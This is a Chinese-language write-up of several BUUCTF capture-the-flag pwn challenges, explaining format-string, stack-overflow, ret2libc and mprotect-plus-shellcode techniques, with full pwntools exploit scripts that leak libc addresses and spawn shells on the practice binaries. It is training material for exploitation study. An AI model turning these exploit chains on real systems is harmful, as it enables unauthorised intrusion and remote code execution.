BUUCTF-pwn(2)
[第五空间2019 决赛]PWN5
该函数漏洞比较明显,进行调试验证!
并且没有开启PIE保护措施,所以我们可以利用任意地址写,写入.bss:0804C044 password该地址处数据即可。
然后密码就被操控了。
[OGeek2019]babyrop
将urandom中一个随机数写入到buf中,然后作为参数传入到下一个函数中。
必须通过条件才可以可利用到下面的栈溢出漏洞!而且read还可以溢出一个字节到v5上。这里strlen遇到’\x00‘停止检测,所有外面可以利用该特征,绕过检测!
然后我们就可以进行栈溢出的操作了,此时我们只需要泄露出一个函数地址即可!
from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='i386')
r = remote('node4.buuoj.cn',25646)
#r = process('./pwn')
elf = ELF('./pwn')
main = 0x08048825#main函数起始地址
ex = 0x08048558
write_plt = elf.plt['write']
read_got = elf.got['read']
read_plt = elf.plt['read']
ret = 0x08048502
#gdb.attach(r)
payload = b'\x00'+b'a'*0x6+b'\xff'#利用strlen特性绕过检测
r.sendline(payload)
r.recvuntil("Correct\n")
payload2 = b'a'*(0xe7+0x4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload2)#泄露出read函数的真实地址
read_addr = u32(r.recv(4))
libc = LibcSearcher('read',read_addr)#进行搜寻
libc_base = read_addr - libc.dump('read')#开始计算地址
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base
r.sendline(payload)
r.recvuntil("Correct\n")
payload3 = b'a'*(0xe7+0x4)+p32(ret)+p32(system)+p32(ex)+p32(bin_sh)#开始构造
r.sendline(payload3)
r.interactive()#进行交互
ciscn_2019_n_8
使用 ida进行打开分析代码!
代码逻辑比较简单,所以直接进行调试一波看看具体情况!
所以我们需要将var数组的第14位修改为17即可得到权限!
并且通过ida可以得知var是QWORD,
word全称是Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是word(2字节,02^16-1)的四倍,8字节,02^64-1。此外,它还是Pascal和nasm语言中的关键字。
所以脚本有些许不同之处!
get_started_3dsctf_2016
代码逻辑很简单,但是没有发现system函数,但是有一个后门函数get_flag!
所以此时我们就可以写出脚本了!
但是如果我们直接跳过if条件的话,就会发现本地可以获取权限,但是远程无法获取权限,所以我们就不能跳过if条件判断了,所以我们可以将参数写入到payload中来通过if判断,这样远程就可以打通了!
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
r = process("./get_started_3dsctf_2016")
elf = ELF('./get_started_3dsctf_2016')
get_flag = 0x80489A0
ex = 0x0804E6A0#该函数为exit()
payload = 'A' * 56 + p32(get_flag) + p32(ex) + p32(0x308CD64F) + p32(0x195719D1)
r.sendline(payload)
print(r.recv())
r.interactive()
网络问题,发生超时!
这里是因为使用了recv函数,所以会发生这些问题,远程本地该题目都不可以使用recv函数,否则就会出现该问题!
远程程序异常结束它是不会给回显,这里也是需要注意的。
jarvisoj_level2
通过ida32进行分析,发现该题目还是比较简单的!
并且通过字符串搜索发现了/bin/sh特殊字符串!
bjdctf_2020_babystack
该题目也是比较简单的,就是一个栈溢出漏洞!
并且可以找到system函数和/bin/sh字符串!
这里本地没有打通,但是远程打通了!
本地会出现Process stopped with exit code -11 (SIGSEGV) 错误,通过搜索发现是段错误!
ciscn_2019_en_2
发现这道题目和ciscn_2019_c_1一模一样!
not_the_same_3dsctf_2016
首先我们通过ida进行简单的分析!
发现了一个简单的栈溢出漏洞!并且我们还明锐的发现了flag文件!
而且该文件较大,且函数较多,并不是动态链接!而是静态链接!且存在fputs函数,所以我们可以利用该函数进行读出f14g即可!
这里之所以没有加上去4个字节的填充,是因为main函数中没有push ebp,所以不需要填充ebp
但是fputs函数输出需要第二个参数魏stdout,我们并没有找到该参数,并且stdout在此处不能用1进行代替!且会引出该timeout: the monitored command dumped core错误!
所以我们可以使用write函数来代替fputs函数!
这里没有完全打印出flag,所以我们可以修改参数将其完全打印出来!
当然,该题目不只这一种方法可以做出来!
还有一种方法比较难,但是可以获取权限!
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
我们知道该题目开启了NX保护!但是mprotect()函数是可以修改内存权限的!
main函数中存在3个传参,所以我们需要为了可以多次ret,所以需要堆栈平衡!传参本为push,但是这里为了堆栈平衡我们使用pop指令。
此时mprotect函数的三个参数应分别为0x80ea000(使用vmmap可知该方位可写可读可执行),然后为大小0x1000,可执行权限0x7。
当然这里args1的参数可以是heap的地址,也可以是plt.got的起始地址,这里都是可以的!
from pwn import *
context(log_level='debug',os='linux',arch='i386')
r = remote('node4.buuoj.cn',28280)
#r = process('./not_the_same_3dsctf_2016')
elf = ELF('./not_the_same_3dsctf_2016')
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
args1 = 0x80ea000
args2 = 0x100
args3 = 0x7
pop = 0x0806fcc8
shellcode = asm(shellcraft.sh())
payload = b'a'*0x2D+p32(mprotect_addr)+p32(pop)+p32(args1)+p32(args2)+p32(args3)+p32(read_addr)+p32(pop)+p32(0)+p32(args1)+p32(len(shellcode))+p32(args1)
r.sendline(payload)
r.sendline(shellcode)
r.interactive()